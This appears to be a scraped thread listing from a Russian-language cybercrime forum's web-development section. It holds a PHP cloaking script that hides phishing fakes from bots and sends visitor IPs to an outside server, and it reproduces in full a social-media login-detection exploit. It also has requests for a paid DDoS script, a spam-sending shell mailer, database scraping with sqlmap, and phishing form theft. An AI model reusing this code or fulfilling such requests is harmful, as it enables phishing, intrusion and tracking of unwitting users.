Last Post: 2020-11-20T06:09:19+0000
Author: crx
Replies: 2 Views: 2K

Посоветуйте что-нибудь бесплатное типа RIPSа, только не настолько устаревшее. Нужно проверить древную CMS на инъекции.
Нагуглил такой список https://github.com/exakat/php-static-analysis-tools но хрен знает что из них рабочее, а каждый устанавливать-настраивать займёт кучу времени.
Пока смотрю в сторону развёртывания CMS на локалке и sqlmap/arachni, но и это тоже займёт кучу времени.

Помогите разобраться со скриптом
ID: 67668b27b4103b69df375daf
Thread ID: 44169
Created: 2020-11-11T00:24:52+0000
Last Post: 2020-11-14T20:53:12+0000
Author: black_labo
Replies: 19 Views: 2K

Помогите пожалуйста разобраться со скриптом. Данный скрип делает редикет на домен при переходе с рекламы! Хочу им защитить сайт от покраснения! Тоесть пока что не будет клика по рекламе фейк не откроется даже ботам!И как можно закрыть посещения на сайт всем пользователям кроме тех кто перешли по рекламе!

PHP:Copy to clipboard

<?php
function cl() {
$s = $_SERVER;
if( !preg_match("/text\/html/", $s['HTTP_ACCEPT']) ) {
//echo "1";
return false;
  }
if( !preg_match("/^(ru|ru-RU)/", $ ['HTTP_ACCEPT_LANGUAGE']) ) {
//echo $s['HTTP_ACCEPT_LANGUAGE'];
  //return false;
   }
if( $s['HTTP_CF_IPCOUNTRY'] != 'RU' ) {
//echo "3";
  //return false;
  }
  if( !preg_match("/https\:\/\/www\.google\.(com|ru)\//", $s['HTTP_REFERER']) ) {
   //echo "4";
   //return false;
  }
  if( (!isset($s['HTTP_REFERER']) OR $s['HTTP_REFERER'] == "") AND isset($_GET['yclid']) AND $_GET['yclid']!=""){
//return true;
}
   if( !preg_match("/((http(s|)\:\/\/www\.google\.(ru|com|it|fr|gr))|(http(s|)\:\/\/(yabs|bs)\.yandex\.(ru|com)\/)|(http(s|)\:\/\/go\.mail\.ru\/))/", $s['HTTP_REFERER']) ) {
   //echo "4";
return false;
}
  return true;
}
if (!function_exists('_is_curl_install()'))
{
function _is_curl_install()
  {
    if (in_array('curl', get_loaded_extensions()))
   {
  return true;
   }
  else
{
return false;
  }
}
}
if (_is_curl_install())
{
}
else
{
  echo 'Install CURL on server';
    die;
}
@$_SERVER['HTTP_ACCEPT_LANGUAGE'] = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
if (!function_exists('getRealIpAddrAF'))
{
function getRealIpAddrAF()
  {
   if ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR']) <> '127.0.0.1'))
  {
$ip = $_SERVER['GEOIP_ADDR'];
}
   elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR']) <> '127.0.0.1') && (($_SERVER['HTTP_X_FORWARDED_FOR']) <> ($_SERVER['SERVER_ADDR'])))
  {
$ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']) [0];      }
   elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP']) <> '127.0.0.1') && (($_SERVER['HTTP_CLIENT_IP']) <> ($_SERVER['SERVER_ADDR'])))
     {
$ip = $_SERVER['HTTP_CLIENT_IP'];
    }
   elseif ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP']) <> '127.0.0.1') && (($_SERVER['HTTP_CF_CONNECTING_IP']) <> ($_SERVER['SERVER_ADDR']))
{   $ip= $_SERVER['HTTP_CF_CONNECTING_IP'];      }
else
   {
   $ip = $_SERVER['REMOTE_ADDR'];
   }
  return $ip;
   }
}
$ip = getRealIpAddrAF();
if ( cl() )
{   echo "<div id='Ba'></div>";
    $ch = curl_init("http://188.209.52.48:33914/ip.php?p=jtX8ehWNxudV2psmRjYBqSr&ip=".$ip);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_exec($ch);
$urlnew="https://www.siti.com/"; // URLкуда делать редирект
echo "<html><head><meta http-equiv='refresh' content='0; url=".$urlnew."'></meta></head><script>top.window.location = '".$urlnew."';</script></html>";
  die();
}
else
{
  $ch = curl_init("http://188.209.52.48:33914/ip.php?p=jtX8ehWNxudV2psmRjYBqSr&ip=".$ip);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  echo curl_exec($ch);
  print_r(curl_error($ch));
  curl_close($ch);
echo "<div id='Fa'>$ip</div>";
}
?>
Вёрстка в 2020 году
ID: 67668b27b4103b69df375db1
Thread ID: 43677
Created: 2020-10-29T11:44:46+0000
Last Post: 2020-10-30T13:14:20+0000
Author: html5
Replies: 5 Views: 2K

Всем привет. Владею базовыми знаниями html, css, js, из фреймворков - bootstrap. Написать что либо - не проблема совсем, но писать что-то красивое с нуля на своих стилях очень времязатратно, а бутстрап вовсе не универсален и иногда лишь усложняет разработку. Какие бы технологии/фреймворки вы бы посоветовали изучить начинающему фронтендеру для более быстрого/качественного выполнения задач?

Помощь в PHP
ID: 67668b27b4103b69df375db3
Thread ID: 42206
Created: 2020-09-17T21:17:57+0000
Last Post: 2020-10-24T12:01:20+0000
Author: lokalbitok
Replies: 16 Views: 2K

приветствую, есть файл index.php с содержимым контентом и какими то скриптами, при загрузке на сервер выдаёт белую страницу, я в пхп совсем никто, а тут мастеров достаточно) Подскажите что делать что бы воспроизвести его

[Udemy] React Native 2020. Мобильные приложения на JavaScript
ID: 67668b27b4103b69df375db8
Thread ID: 42379
Created: 2020-09-22T17:27:58+0000
Last Post: 2020-09-25T06:56:00+0000
Author: lima8v4v
Prefix: Мануал/Книга
Replies: 11 Views: 2K

[Udemy]React Native 2020. Мобильные приложения на JavaScript(2020)

![](/proxy.php?image=https%3A%2F%2Fim0-tub- ru.yandex.net%2Fi%3Fid%3Db67bd392963cb75f2815ad608cc0b534%26n%3D13%26exp%3D1&hash=079b94f3ad284b175d028e5ad26043bc)

Автор: Владилен Минин
Название: React Native 2020. Мобильные приложения на JavaScript

Чему вы научитесь

  • Создавать мобильные приложения под iOS и Android на языке JavaScript
  • React Native на практике
  • Создадите несколько приложений в течении курса
  • Получите много опыта и Best Practices в React

Требования

  • Уверенное владение JavaScript + EcmaScript 6
  • Базовое понимание React JS
  • Знаний по Java или Swift НЕ нужно! Только JavaScript

Описание
Вы научитесь создавать крутые мобильные приложения для Android и iOS используя только JavaScript
Из предварительных знаний только JavaScript и React
В курсе содержится 11 блоков, 10 из которых - практические
В рамках данного курса вы создадите 2 мобильных приложения, на которых изучите функционал React Native
В курсе так же рассматривается React , React Hooks , Context API , Redux и React Best Practices

Для кого этот курс:

  • Веб-разработчики
  • Разработчики мобильных приложений
  • Фрилансеры
  • Frontend разработчики (любой уровень)

Скачать:

Hidden content for authorized users.

cloud.mail.ru

[ Папка с совместной загрузкой из Облака Mail.ru

](https://cloud.mail.ru/public/2pkT/2j6gdXTm9)

Облако Mail.ru - это ваше персональное надежное хранилище в интернете.

cloud.mail.ru cloud.mail.ru

Need script for DDOS
ID: 67668b27b4103b69df375db9
Thread ID: 38488
Created: 2020-06-16T12:54:34+0000
Last Post: 2020-09-07T01:50:14+0000
Author: Oldschool_men
Replies: 4 Views: 2K

I want a script for DDOS attack in JavaScript language. Which can destroy any website, and could also destroy the website on Cloudflare.

I will send payment in bitcoin.:)

bootstrap
ID: 67668b27b4103b69df375dbd
Thread ID: 40778
Created: 2020-08-11T15:23:35+0000
Last Post: 2020-08-23T08:56:16+0000
Author: html5
Replies: 7 Views: 2K

всем привет, имею форму с таким содержимым:

HTML:Copy to clipboard

            <div class="form-group">
              <label for="input-data">
                <h6>Тестовый лейбл:</h6>
              </label>

              <input type="text" id="input-data" class="form-control mx-auto w-50" required>
              <small class="form-text text-muted"> Тестовая надпись</small>
            </div>

проблема заключается в том, что на телефонах при использовании w-50 - input'ы выглядят маленькими
подскажите пожалуйста, как сделать инпуты с равномерным отображением на всех устройствах

Chrome Extasions ActiveTab how to bypass.
ID: 67668b27b4103b69df375dbe
Thread ID: 38897
Created: 2020-06-26T11:49:46+0000
Last Post: 2020-08-11T15:50:16+0000
Author: webr00tr
Replies: 6 Views: 2K

Chrome extasions i uploaded extasions saying error activetab.

How to solve problem.

"permissions": [
"storage",
"cookies",
**" :///*" **

Как проверить номер на наличия регистрации в WhatsApp / Viber
ID: 67668b27b4103b69df375dc2
Thread ID: 38970
Created: 2020-06-27T21:24:57+0000
Last Post: 2020-07-13T09:30:58+0000
Author: Sebastian
Replies: 5 Views: 2K

У меня есть список номеров телефонов и нужно проверить привязан ли к ним WhatsApp и Viber. Может у кого есть решения как это можно делать с сервера? Делать запросы через их Api ?

Как создать бота для браузерной игры ?
ID: 67668b27b4103b69df375dc3
Thread ID: 38916
Created: 2020-06-26T21:31:04+0000
Last Post: 2020-07-04T18:19:01+0000
Author: quosx
Replies: 5 Views: 2K

Игра не обычная флешка. Хочу создать бота, который сам будет искать и фармить мобов. Не кликер с поиском пикселя/картинки, а софт, который будет взаимодействовать с самой игрой непосредственно. Мне нужен совет от знающих - в какую сторону двигаться. Как узнать исходный код/разобрать его, на каком языке должен писаться бот. Мне не нужны практические подсказки, я хочу понять

  • в какую сторону мне двигаться, чтобы начать иметь хоть малейшее представление об устройстве самой браузерной игры и о том, как писать для нее бота.
Вопрос к авторам фейков и тем кто ими пользуется
ID: 67668b27b4103b69df375dc6
Thread ID: 37128
Created: 2020-05-07T18:26:42+0000
Last Post: 2020-06-07T17:03:36+0000
Author: DeiTy
Replies: 6 Views: 2K

Hidden content for authorized users.

Собственно вопрос , почему фейк это (как правило) скачанная страница / страницы сайта где просто воруют данные отправляемой формы .
Не проще делать file_get_contents и изменять action у форм ?

ps : просто интересно , тапками не кидайте --_

Searching
ID: 67668b27b4103b69df375dc8
Thread ID: 37610
Created: 2020-05-21T17:54:50+0000
Last Post: 2020-05-28T23:35:53+0000
Author: dkim
Replies: 3 Views: 2K

hello, I am looking for a php file that will allow me to send emails from send shell. Can anyone help?

Ищу верстальщика для сотрудничества.
ID: 67668b27b4103b69df375dca
Thread ID: 35915
Created: 2020-03-31T17:24:41+0000
Last Post: 2020-04-09T14:50:07+0000
Author: n1ppyyyy
Replies: 3 Views: 2K

Приветствую! У меня есть дизайнер, который может хорошо может лепить дизайн лендингов.
Ищем верстальщика для сотрудничества на следующих условиях:
С моего человека дизайн лендингов, которые могут отлично зайти под проливы и прочее, а с вас верстка.
Так же можем рассмотреть вариант о работе за $.
Все подробности в лс. Почти все лендинги будут 1-3 страниц.
В конце работы дизайнера - выдаю доступ к проекту в фигме, или же выдаю все сорсы дизайна вам на руки.
Первый контакт в пм, далее переходим в жабу.

ps
Разрабатывается дизайн лендинга под мапу коронавируса.

Нужна помощь с калькулятором
ID: 67668b27b4103b69df375dcc
Thread ID: 35051
Created: 2020-02-19T13:00:22+0000
Last Post: 2020-02-19T13:00:22+0000
Author: fed201
Replies: 0 Views: 2K

Есть калькулятор, вставляется в описание товара под, стоимость высчитывает нормально, но при нажатие на кнопку купить ничего не происходит, а нужно чтобы товар добавлялся в корзину, сайт на ворд пресс.
Кто знает как сделать помогите...

Looking for someone to write script see detailed post
ID: 67668b27b4103b69df375dcd
Thread ID: 35023
Created: 2020-02-18T00:51:00+0000
Last Post: 2020-02-18T00:51:00+0000
Author: needacoder22
Replies: 0 Views: 2K

Need script working ASAP. Can be updated after that.
Information needed: Company Name, Contact Name, Phone Number, Email

Here are 3 websites to possibly get data:

SAFER

SAFER Web - Company Snapshot

Carrier Details

[ Licensing & Insurance Carrier Search ](https://li- public.fmcsa.dot.gov/LIVIEW/pkg_carrquery.prc_carrlist)

Portal Lookup

FMCSA Portal Account Request Form - Step 1

In my business, the first person to call wins.
Currently, data is displayed on websites at midnight.
I need to find the data in real time to scrape.
There is about 500 new users every day.
I want to search every 30 seconds for a new user.

You can not use a simple web scrapper to get data, it needs to be found on the database. SQLmap, Burp).

Someone experienced should be able to complete this within a week. Willing to pay $4,000 for this job. once you show the script works and gets NEW SAME DAY leads. Also willing to pay for updates and changes that can be added in the future.

I am using Google translate so I picked the category that I think best fits this.

jabber: orangetang69@jabbim.ru
telegram @orangetang69

Looking for
ID: 67668b27b4103b69df375dce
Thread ID: 35022
Created: 2020-02-18T00:49:17+0000
Last Post: 2020-02-18T00:49:17+0000
Author: needacoder22
Replies: 0 Views: 2K

Need script working ASAP. Can be updated after that.
Information needed: Company Name, Contact Name, Phone Number, Email

Here are 3 websites to possibly get data:

SAFER

SAFER Web - Company Snapshot

Carrier Details

[ Licensing & Insurance Carrier Search ](https://li- public.fmcsa.dot.gov/LIVIEW/pkg_carrquery.prc_carrlist)

Portal Lookup

FMCSA Portal Account Request Form - Step 1

In my business, the first person to call wins.
Currently, data is displayed on websites at midnight.
I need to find the data in real time to scrape.
There is about 500 new users every day.
I want to search every 30 seconds for a new user.

You can not use a simple web scrapper to get data, it needs to be found on the database. SQLmap, Burp).

Someone experienced should be able to complete this within a week. Willing to pay $4,000 for this job. once you show the script works and gets NEW SAME DAY leads. Also willing to pay for updates and changes that can be added in the future.

I am using Google translate so I picked the category that I think best fits this.

jabber: orangetang69@jabbim.ru
telegram @orangetang69

Social Media Fingerprint как подключить на сайт?
ID: 67668b27b4103b69df375dcf
Thread ID: 34876
Created: 2020-02-10T10:27:01+0000
Last Post: 2020-02-17T17:04:27+0000
Author: DrSleep
Replies: 1 Views: 2K

Проект https://github.com/RobinLinus/socialmedia-leak
demo.js

JavaScript:Copy to clipboard

var leakSocialMediaAccounts = function(callback) {
    var platforms = [{
        domain: "https://squareup.com",
        redirect: "/login?return_to=%2Ffavicon.ico",
        name: "Square"
    }, {
        domain: "https://twitter.com",
        redirect: "/login?redirect_after_login=%2f..%2ffavicon.ico",
        name: "Twitter"
    }, {
        domain: "https://www.facebook.com",
        redirect: "/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico%3F_rdr%3Dp",
        name: "Facebook"
    }, {
        domain: "https://accounts.google.com",
        redirect: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico&uilel=3&hl=en&service=mail",
        name: "Gmail"
    }, {
        domain: "https://accounts.google.com",
        redirect: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube",
        name: "Youtube"
    }, {
        domain: "https://plus.google.com",
        redirect: "/up/accounts/upgrade/?continue=https://plus.google.com/favicon.ico",
        name: "Google Plus"
    }, {
        domain: "https://login.skype.com",
        redirect: "/login?message=signin_continue&redirect_uri=https%3A%2F%2Fsecure.skype.com%2Ffavicon.ico",
        name: "Skype"
    }, {
        domain: "https://www.spotify.com",
        redirect: "/en/login/?forward_url=https%3A%2F%2Fwww.spotify.com%2Ffavicon.ico",
        name: "Spotify"
    }, {
        domain: "https://www.reddit.com",
        redirect: "/login?dest=https%3A%2F%2Fwww.reddit.com%2Ffavicon.ico",
        name: "Reddit"
    }, {
        domain: "https://www.tumblr.com",
        redirect: "/login?redirect_to=%2Ffavicon.ico",
        name: "Tumblr"
    }, {
        domain: "https://www.expedia.de",
        redirect: "/user/login?ckoflag=0&selc=0&uurl=qscr%3Dreds%26rurl%3D%252Ffavicon.ico",
        name: "Expedia"
    }, {
        domain: "https://www.dropbox.com",
        redirect: "/login?cont=https%3A%2F%2Fwww.dropbox.com%2Fstatic%2Fimages%2Fabout%2Fdropbox_logo_glyph_2015.svg",
        name: "Dropbox"
    }, {
        domain: "https://www.amazon.com",
        redirect: "/ap/signin/178-4417027-1316064?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=10000000&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico",
        name: "Amazon.com"
    }, {
        domain: "https://www.pinterest.com",
        redirect: "/login/?next=https%3A%2F%2Fwww.pinterest.com%2Ffavicon.ico",
        name: "Pinterest"
    }, {
        domain: "https://de.foursquare.com",
        redirect: "/login?continue=%2Ffavicon.ico",
        name: "Foursquare"
    }, {
        domain: "https://eu.battle.net",
        redirect: "/login/de/index?ref=http://eu.battle.net/favicon.ico",
        name: "Battle.net"
    }, {
        domain: "https://store.steampowered.com",
        redirect: "/login/?redir=favicon.ico",
        name: "Steam"
    }, {
        domain: "https://www.academia.edu",
        redirect: "/login?cp=/favicon.ico&cs=www",
        name: "Academia.edu"
    }, {
        domain: "https://accounts.google.com",
        redirect: "/ServiceLogin?service=blogger&hl=de&passive=1209600&continue=https://www.blogger.com/favicon.ico",
        name: "Blogger"
    }, {
        domain: "https://github.com",
        redirect: "/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1",
        name: "Github"
    }, {
        domain: "https://medium.com",
        redirect: "/m/signin?redirect=https%3A%2F%2Fmedium.com%2Ffavicon.ico&loginType=default",
        name: "Medium"
    }, {
        domain: "https://news.ycombinator.com",
        redirect: "/login?goto=y18.gif%23",
        name: "Hackernews"
    }, {
        domain: "https://carbonmade.com",
        redirect: "/signin?returnTo=favicon.ico",
        name: "Carbonmade"
    }, {
        domain: "https://courses.edx.org",
        redirect: "/login?next=/favicon.ico",
        name: "EdX"
    }, {
        domain: "https://slack.com",
        redirect: "/checkcookie?redir=https%3A%2F%2Fslack.com%2Ffavicon.ico%23",
        name: "Slack"
    }, {
        domain: "https://www.khanacademy.org",
        redirect: "/login?continue=https%3A//www.khanacademy.org/favicon.ico",
        name: "Khan Academy"
    }, {
        domain: "https://www.paypal.com",
        redirect: "/signin?returnUri=https://t.paypal.com/ts?v=1.0.0",
        name: "Paypal"
    }, {
        domain: "https://500px.com",
        redirect: "/login?r=%2Ffavicon.ico",
        name: "500px"
    }, {
        domain: "https://www.airbnb.com",
        redirect: "/login?redirect_params[action]=favicon.ico&redirect_params[controller]=home",
        name: "Airbnb"
    }, {
        domain: "https://disqus.com",
        redirect: "/profile/login/?next=https%3A%2F%2Fdisqus.com%2Ffavicon.ico",
        name: "Disqus"
    }, {
        domain: "https://secure.meetup.com",
        redirect: "/login/?returnUri=https%3A%2F%2Fwww.meetup.com%2Fimg%2Fajax_loader_trans.gif",
        name: "Meetup"
    }, {
        domain: "https://bitbucket.org",
        redirect: "/account/signin/?next=/favicon.ico",
        name: "BitBucket"
    }, {
        domain: "https://secure.indeed.com",
        redirect: "/account/login?continue=%2ffavicon.ico",
        name: "Indeed"
    }, {
        domain: "https://vk.com",
        redirect: "/login?u=2&to=ZmF2aWNvbi5pY28-",
        name: "VK"
    }];

    platforms.forEach(function(network) {
        var img = document.createElement('img');
        img.referrerPolicy = 'no-referrer';
        img.src = network.domain + network.redirect;
        img.onload = function() {
            callback(network, true);
        };
        img.onerror = function() {
            callback(network, false);
        };
    });
};



// Do not work (anymore)
// {
//     url: "https://login.live.com/login.srf?wa=wsignin1.0&wreply=https%3A%2F%2Fprofile.microsoft.com%2FregsysProfilecenter%2FImages%2FLogin.jpg",
//     name: "Microsoft"
// }, {
//     url: "https://slack.com/signin?redir=%2Ffavicon.ico",
//     name: "Slack"
// }, {
//     url: "https://tablet.www.linkedin.com/splash?redirect_url=https%3A%2F%2Fwww.linkedin.com%2Ffavicon.ico%3Fgid%3D54384%26trk%3Dfulpro_grplogo",
//     name: "Linkedin"
// }, {
//      domain: "https://subscribe.washingtonpost.com/loginregistration/index.html#/register/group/default?action=login&destination=https:%2F%2Fwashingtonpost.com%2Ffavicon.ico",
//      redirect: "/login/?previous=/favicon.ico",
//      name: "Washington Post"
// }, {
//      domain: "https://www.instagram.com",
//      redirect: "/accounts/login/?next=%2Ffavicon.ico",
//      name: "Instagram"
//  },{
//     domain: "https://www.spiegel.de",
//     redirect: "/meinspiegel/login.html?backUrl=%2Ffavicon.ico",
//     name: "Spiegel Online"
// },{
//     domain: "http://www.youporn.com",
//     redirect: "/login/?previous=/favicon.ico",
//     name: "YouPorn"
// },{
//     domain: "https://stackoverflow.com",
//     redirect: "/users/login?ssrc=head&returnurl=http%3a%2f%2fstackoverflow.com%2ffavicon.ico",
//     name: "Stack Overflow"
// },{
//     domain: "https://www.netflix.com",
//     redirect: "/Login?nextpage=%2Ffavicon.ico",
//     name: "Netflix"
// },{
//      domain: "https://www.flickr.com",
//      redirect: "/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com/favicon.ico",
//      name: "Flickr"
//   }

index.html

HTML:Copy to clipboard

<!doctype html>
<html class="no-js" lang="">

<head>
    <meta charset="utf-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <title>Your Social Media Fingerprint</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Without your consent most major web platforms leak whether you are logged in. This allows any website to detect on which platforms you're signed up. Since there are lots of platforms with specific demographics an attacker could reason about your personality, too.">
    <meta property="image" content="https://robinlinus.github.io/socialmedia-leak/sml-logo-large.png?a=a" />
    <meta property="author" content="Robin Linus" />
    <meta property="og:title" content="Your Social Media Fingerprint" />
    <meta property="og:image" content="https://robinlinus.github.io/socialmedia-leak/sml-logo-large.png?a=a" />
    <meta property="og:image:url" content="https://robinlinus.github.io/socialmedia-leak/sml-logo-large.png?a=a" />
    <meta property="og:site_name" content="Your Social Media Fingerprint" />
    <meta property="og:type" content="article" />
    <meta property="og:author" content="https://facebook.com/RobinLinus" />
    <meta property="fb:pages" content="451189218422617" />
    <meta property="fb:profile_id" content="451189218422617" />
    <meta property="og:url" content="https://robinlinus.github.io/socialmedia-leak/" />
    <meta property="fb:app_id" content="1527795287522439" />
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:title" content="Your Social Media Fingerprint">
    <meta name="twitter:image" content="https://robinlinus.github.io/socialmedia-leak/sml-logo-large.png?a=a" />
    <meta name="twitter:description" content="Without your consent most major web platforms leak whether you are logged in. This allows any website to detect on which platforms you're signed up. Since there are lots of platforms with specific demographics an attacker could reason about your personality, too.">
    <meta name="twitter:creator:id" content="4675481071">
    <meta name="author" content="Robin Linus" />
    <style type="text/css">
    body {
        background-color: rgb(246, 246, 239);
        color: #030303;
        padding-top: 24px;
        margin: 0;
        font-family: 'Roboto', 'Helvetica Neue', Helvetica, sans-serif;
        font-size: 14px;
    }
    
    h1 {
        font-size: 34px;
        font-weight: 400;
        letter-spacing: -.01em;
        line-height: 40px;
    }
    
    h2 {
        font-size: 20px;
        font-weight: 500;
        line-height: 28px;
    }
    
    h3 {
        font-size: 16px;
        font-weight: 400;
        line-height: 24px;
    }
    
    h4 {
        margin-bottom: 0;
        margin-top: 24px;
    }
    
    p {
        -webkit-font-smoothing: antialiased;
        text-rendering: optimizeLegibility;
        font-weight: 400;
        line-height: 20px;
    }
    
    ul {
        line-height: 20px;
    }
    
    .content {
        max-width: 720px;
        margin: 0 auto;
        padding: 8px;
    }
    
    section {
        margin-top: 24px;
    }
    
    a {
        text-decoration: none;
    }
    
    a:hover {
        text-decoration: underline;
    }
    
    .demo {
        min-height: 480px;
    }
    
    .demo h3 {
        margin-top: 24px;
        margin-bottom: 6px;
    }
    
    .demo > span {
        text-align: center;
    }
    
    .network {
        padding: 8px;
        background: white;
        margin: 4px;
        box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 1px 5px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -2px rgba(0, 0, 0, 0.2);
        display: -webkit-inline-box;
        display: -ms-inline-flexbox;
        display: inline-flex;
        -ms-flex-align: center;
        -webkit-align-items: center;
        align-items: center;
        width: 152px;
    }
    
    .network img {
        width: 24px;
        height: 24px;
        margin-right: 8px;
    }
    
    .network {
        color: #030303;
        text-decoration: none !important;
    }
    
    footer {
        background: #424242;
        margin-top: 64px;
        padding: 16px;
        font-size: 16px;
        text-align: center;
        font-family: 'Courier New', Courier, 'Lucida Sans Typewriter', 'Lucida Typewriter', monospace;
        color: white;
        cursor: pointer;
        margin-bottom: 49px;
    }
    
    footer:hover {
        text-decoration: underline;
    }
    
    pre,
    code {
        white-space: pre-wrap;
        white-space: -moz-pre-wrap;
        white-space: -pre-wrap;
        white-space: -o-pre-wrap;
        word-wrap: break-word;
    }
    
    @media only screen and (max-device-width: 480px) {
        .content {
            padding-top: 4px;
        }
        .network {
            width: 128px;
        }
    }
    </style>
</head>

<body>
    <div class="content">
        <h1>Your Social Media Fingerprint</h1>
        <section>
            <p>
                Without your consent most major web platforms leak whether you are logged in. This allows any website to detect on which platforms you're signed up. Since there are lots of platforms with specific demographics an attacker could reason about your personality, too.
            </p>
            <p id="ff" style="display:none;">
                Update: If you see broken images like this: <img src="https://facebook.com/favicon.ico" onload="document.getElementById('ff').remove()" onerror="document.getElementById('ff').style='display:block;'"> instead of a logo, the login detection won't work for this platforms because your browser is blocking requests to their domain. If you're using Firefox <a href="#updates">read the updates.</a>
            </p>
        </section>
        <section class="demo">
            <h2>Demonstration</h2>
            <span>
                <p>
                    <h3>You are logged in to:</h3>
                    <div id="loggedIn">
                        <h2>No platform</h2>
                        <p>(or maybe you've disabled third party cookies, or you are using something like Privacy Badger?)</p>
                        <br><br><br>
                    </div>
                </p>
                <p>
                    <h3>You are not logged in to:</h3>
                    <div id="notLoggedIn"></div>
                </p>
            </span>
        </section>
        <section>
            <h2>Explanation</h2>
            <p>
                For most web platforms there's a way to abuse the login mechanism to detect whether a user is logged in to that service.
                <br> Although this vulnerability is <a href="http://www.tomanthony.co.uk/blog/detect-visitor-social-networks/" target="_blank">well known</a> <a href="http://blog.jeremiahgrossman.com/2008/03/login-detection-whose-problem-is-it.html" target="_blank"> for several years</a> most companies <a href="http://webkay.robinlinus.com/clickjacking/redirect-statements.txt">won't fix it</a>.
            </p>
            <p>
                The exploit is pretty simple and actually easy to fix. Let's look at facebook.com to get an idea of how it works:
                <h4>How does the login redirect mechanism work?</h4>
                <br> At first we need to understand the login redirect mechanism. Say you're logged in and visit
            </p>
            <pre><code>https://www.facebook.com/bookmarks/pages</code></pre>
            <p>
                Now if you open this URL in a private tab where you are not logged in, you will get redirected to the login screen with this URL:
            </p>
            <pre><code>https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fbookmarks%2Fpages</code></pre> Note the <code>next</code> parameter in the URL: <code>https%3A%2F%2Fwww.facebook.com%2Fbookmarks%2Fpages</code>.
            <p>
                That's the URL we came from and it is used to redirect us back there once we've logged in.
                <br>But if we enter the login URL in a browser tab where we are already logged in, we get redirected without getting prompted to login. Therefore this URL returns:
            </p>
            <ul>
                <li>If logged in:&nbsp;&nbsp;&nbsp;the resource at the URL in the <code>next</code> parameter</li>
                <li>If logged out: the login screen</li>
            </ul>
            <h4>Bypass the Same Origin Policy</h4>
            <p>How does this URL help us? The Same Origin Policy prevents to read the results of this request from any other domain but https://facebook.com...
                <br>Well, the SOP is strict for HTML pages, but it allows to receive images from other origins! So if the resource in the <code>next</code> parameter would be an image we could read it from our website. It can't be any image though. Facebook checks if the URL in the <code>next</code> parameter starts with <code>https://facebook.com</code>. So we need to find an image on facebook.com. Should be easy, right? Actually it isn't, because facebook hosts almost all images on their CDN servers under the domain <code>fbcdn.net</code>. Though there is one image that you can find on almost every webserver: the good old <code>favicon.ico</code>!
                <br>This is how our login URL looks like with the favicon as <code>next</code> parameter:</p>
            <pre><code>https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico</code></pre> It has a very <a target="_blank" href="https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico">interesting property</a>:
            <ul>
                <li>Logged in:&nbsp;&nbsp;&nbsp;returns the favicon image</li>
                <li>Logged out: returns the HTML of the login page</li>
            </ul>
            <p> We can use this URL in an <code>&lt;img&gt;</code> tag in our website:</p>
            <pre><code>&lt;img src="https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico"&gt;</code></pre> This <code>&lt;img&gt;</code> tag's property:
            <ul>
                <li>Logged in:&nbsp;&nbsp;&nbsp;receives the favicon image, will load it successfully, and the <code>onLoad</code> callback will be fired.</li>
                <li>Logged out: receives the HTML of the login screen, will fail to load it as an image, and the <code>onError</code> callback will be fired.</li>
            </ul>
            This leads to the final exploit:
            <pre><code>&lt;img onload="alert('logged in to fb')" onerror="alert('not logged in to fb')" src="https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico"&gt;</code></pre>
            <h4>Other Platforms</h4>
            <p>
                This mechanism works for almost all major web platforms, because they all have a redirect parameter in their login endpoint and they need to host their favicon on their domain (<a target="_blank" href="https://en.wikipedia.org/wiki/Favicon#Limitations_and_criticism">bc of browser compatibility, and of the technical debt of the former lack of standards</a>).
            </p>
            <h4 id="updates">Updates</h4>
            <p>
                <ul>
                    <li>2016/10/07: Instagram removed the favicon from their root domain and host their favicon on their CDN now.</li>
                    <li>2016/10/14: <a target="_blank" href="http://meta.stackoverflow.com/questions/336225/so-should-stop-leaking-information-to-other-websites-about-whether-we-are-logged"> Stackoverflow has fixed the issue.</a></li>
                    <li>2016/10/14: It looks like Firefox has fixed the issue at least for the major networks with their <a target="_blank" href="https://developer.mozilla.org/en-US/Firefox/Privacy/Tracking_Protection">default tracking protection blacklist</a> (The blacklist comes from <a target="_blank" href="https://disconnect.me/">https://disconnect.me/</a>).
                        <br>
                        <br>Console screenshot of the errors when visting socialmedia-leak with current Firefox:
                        <a target="_blank" href="firefox.png"><img src="firefox.png" style="width:100%"></a>
                        Though it probably still works for all platforms where you don't see a broken image <img src="a"> instead of a logo. 
                    </li>
